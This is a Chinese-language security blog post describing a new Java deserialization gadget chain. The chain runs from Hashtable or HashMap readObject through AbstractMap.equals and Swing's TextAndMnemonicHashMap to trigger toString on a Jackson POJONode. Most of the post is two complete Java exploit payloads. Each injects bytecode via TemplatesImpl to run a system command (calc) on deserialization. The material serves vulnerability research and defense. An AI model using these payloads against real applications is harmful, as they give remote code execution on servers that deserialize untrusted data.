新Source触发ToString
3 分钟
前言
在上班闲的时候无意中看到的Unam4
师傅的文章,Unam4
师傅找到了触发toString
方法的不同入口,而toString
方法也是挺多反序列化Gadgets
需要用到的点,比如jackson原生反序列化
、Vaadin
反序列化链等,为此学习了一下。
HashTable
在UIDefaults
的子类TextAndMnemonicHashMap
类中,存在get
方法能够接收一个key
参数,当在HashMap
中通过get
方法取这个key
最终结果为空时,就会触发key.toString()
从而触发toString()
方法。
在AbstractMap#equals
方法中,在遍历键值对的时候,当键值对
遍历时,其中的value
为空,就会触发m.get()
方法。
反序列化最终的起点都得引向readObject
方法中,因此最终需要找readObject
能够触发equals
方法,比如说常见的hashTable#readObject
。在HashTable#readObject
中,最终会调用reconstitutionPut
方法,在这个方法中,能够通过e.key.equals
触发equals
方法。
这里需要阐述一下为什么javax.swing.UIDefaults$TextAndMnemonicHashMap"
的键能够触发AbstractMap
的equals
方法,因为TextAndMnemonicHashMap
继承于HashMap
,HashMap
继承于AbstractMap
并且HashMap
没有实现equals
方法,最终就是找到AbstractMap
中的方法。
Gadgets如下:
HashTable#readObject()->AbstractMap.equals()->TextAndMnemonicHashMap#toString()
以jackson
原生反序列化为例,payload如下:
,package com.example.demo.demos.web;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
import sun.reflect.ReflectionFactory;
import java.io.IOException;
import javax.management.BadAttributeValueExpException;
import javax.swing.*;
import java.io.*;
import java.lang.invoke.MethodHandles;
import java.lang.invoke.MethodType;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class jacksonserialize {
public static void main(String[] args) throws Throwable {
CtClass ctClass= ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace=ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();
TemplatesImpl templatesImpl=new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{getTemplates()});
setFieldValue(templatesImpl, "_name", "aiwin");
setFieldValue(templatesImpl, "_tfactory", null);
POJONode pojoNode = new POJONode(templatesImpl);
Class<?> innerClass=Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap");
Map map1= (HashMap) createWithoutConstructor(innerClass);
Map map2= (HashMap) createWithoutConstructor(innerClass);
map1.put(pojoNode,"222");
map2.put(pojoNode,"111");
Field field=HashMap.class.getDeclaredField("loadFactor");
field.setAccessible(true);
field.set(map1,1);
Field field1=HashMap.class.getDeclaredField("loadFactor");
field1.setAccessible(true);
field1.set(map2,1);
Hashtable hashtable=new Hashtable();
hashtable.put(map1,1);
hashtable.put(map2,1);
map1.put(pojoNode, null);
map2.put(pojoNode, null);
byte[] result=serialize(hashtable);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(result);
ObjectInputStream ois = new ObjectInputStream(byteArrayInputStream);
ois.readObject();
}
public static void setFieldValue(Object object, String field, Object value) throws NoSuchFieldException, IllegalAccessException {
Field dfield = object.getClass().getDeclaredField(field);
dfield.setAccessible(true);
dfield.set(object, value);
}
public static byte[] serialize(Object object) throws IOException {
ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream);
oos.writeObject(object);
return byteArrayOutputStream.toByteArray();
}
public static byte[] getTemplates() throws NotFoundException, CannotCompileException, IOException {
ClassPool pool = ClassPool.getDefault();
CtClass template = pool.makeClass("Test");
template.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
String block = "Runtime.getRuntime().exec(\"calc\");";
template.makeClassInitializer().insertBefore(block);
return template.toBytecode();
}
public static <T> Object createWithoutConstructor (Class classToInstantiate )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithoutConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}
public static <T> T createWithoutConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T)sc.newInstance(consArgs);
}
}
在写这段代码的时候,遇到了loadFactor
找不到或者没有定义loadFactor
的问题,于是就去找了找这个参数的实际作用到底是什么,实际作用如下:
loadFactor
(负载因子)定义了HashMap
在自动扩容之前可以达到的填充度。它是一个介于 0 和 1 之间的浮点数,表示当HashMap
中的元素个数(容量)达到初始容量(桶数量)乘以loadFactor
时,HashMap
将进行扩容。- 那么为什么没有
loadFactor
参数就不能进行反序列化呢? - 原因是因为当反序列化要恢复序列化的内容的时候,需要
loadFactor
才能够知晓扩容的情况,准确恢复反序列化之前的状态。
HashMap
同样HashMap#readObject
触发putVal
也可以触发equals
方法,这与HashMap
触发HotSwappableTargetSource
是基本上一致的。
Gadgets如下:
HashMap#readObject()->HashMap#putVal()->AbstractMap.equals()->TextAndMnemonicHashMap#toString()
payload如下:
package com.example.demo.demos.web;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import sun.reflect.ReflectionFactory;
import java.io.*;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class jacksonHashMap {
public static void main(String[] args) throws Throwable {
CtClass ctClass= ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace=ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();
TemplatesImpl templatesImpl=new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{getTemplates()});
setFieldValue(templatesImpl, "_name", "aiwin");
setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
POJONode pojoNode = new POJONode(templatesImpl);
Class<?> innerClass=Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap");
Map map1= (HashMap) createWithoutConstructor(innerClass);
Map map2= (HashMap) createWithoutConstructor(innerClass);
map1.put(pojoNode,"111");
map2.put(pojoNode,"222");
Field field=HashMap.class.getDeclaredField("loadFactor");
field.setAccessible(true);
field.set(map1,1);
Field field1=HashMap.class.getDeclaredField("loadFactor");
field1.setAccessible(true);
field1.set(map2,1);
HashMap hashMap = new HashMap();
hashMap.put(map1,"1");
hashMap.put(map2,"1");
setHashMapValueToNull(map1, pojoNode);//为了在HashMap.put时候就触发,通过反射变成null
setHashMapValueToNull(map2, pojoNode);
byte[] result=serialize(hashMap);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(result);
ObjectInputStream ois = new ObjectInputStream(byteArrayInputStream);
ois.readObject();
}
public static void setFieldValue(Object object, String field, Object value) throws NoSuchFieldException, IllegalAccessException {
Field dfield = object.getClass().getDeclaredField(field);
dfield.setAccessible(true);
dfield.set(object, value);
}
public static byte[] serialize(Object object) throws IOException {
ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream);
oos.writeObject(object);
return byteArrayOutputStream.toByteArray();
}
public static byte[] getTemplates() throws NotFoundException, CannotCompileException, IOException {
ClassPool pool = ClassPool.getDefault();
CtClass template = pool.makeClass("Test");
template.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
String block = "Runtime.getRuntime().exec(\"calc\");";
template.makeClassInitializer().insertBefore(block);
return template.toBytecode();
}
public static <T> Object createWithoutConstructor (Class classToInstantiate )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithoutConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}
public static <T> T createWithoutConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T)sc.newInstance(consArgs);
}
private static void setHashMapValueToNull(Map map, Object key) throws Exception {
Field tableField = HashMap.class.getDeclaredField("table");
tableField.setAccessible(true);
Object[] table = (Object[]) tableField.get(map);
for (Object node : table) {
if (node == null) continue;
Class<?> nodeClass = node.getClass();
Field keyField = nodeClass.getDeclaredField("key");
keyField.setAccessible(true);
Object k = keyField.get(node);
if (k != null && k.equals(key)) {
Field valueField = nodeClass.getDeclaredField("value");
valueField.setAccessible(true);
valueField.set(node, null);
break;
}
}
}
}
参考文章:jdk新入口挖掘
~ ~ The End ~ ~
分类标签:Web安全,Web安全
文章标题:新Source触发ToString
文章链接:https://aiwin.fun/index.php/archives/4420/
最后编辑:2024 年 6 月 14 日 16:44 By Aiwin
许可协议: 署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)
文章标题:新Source触发ToString
文章链接:https://aiwin.fun/index.php/archives/4420/
最后编辑:2024 年 6 月 14 日 16:44 By Aiwin
许可协议: 署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)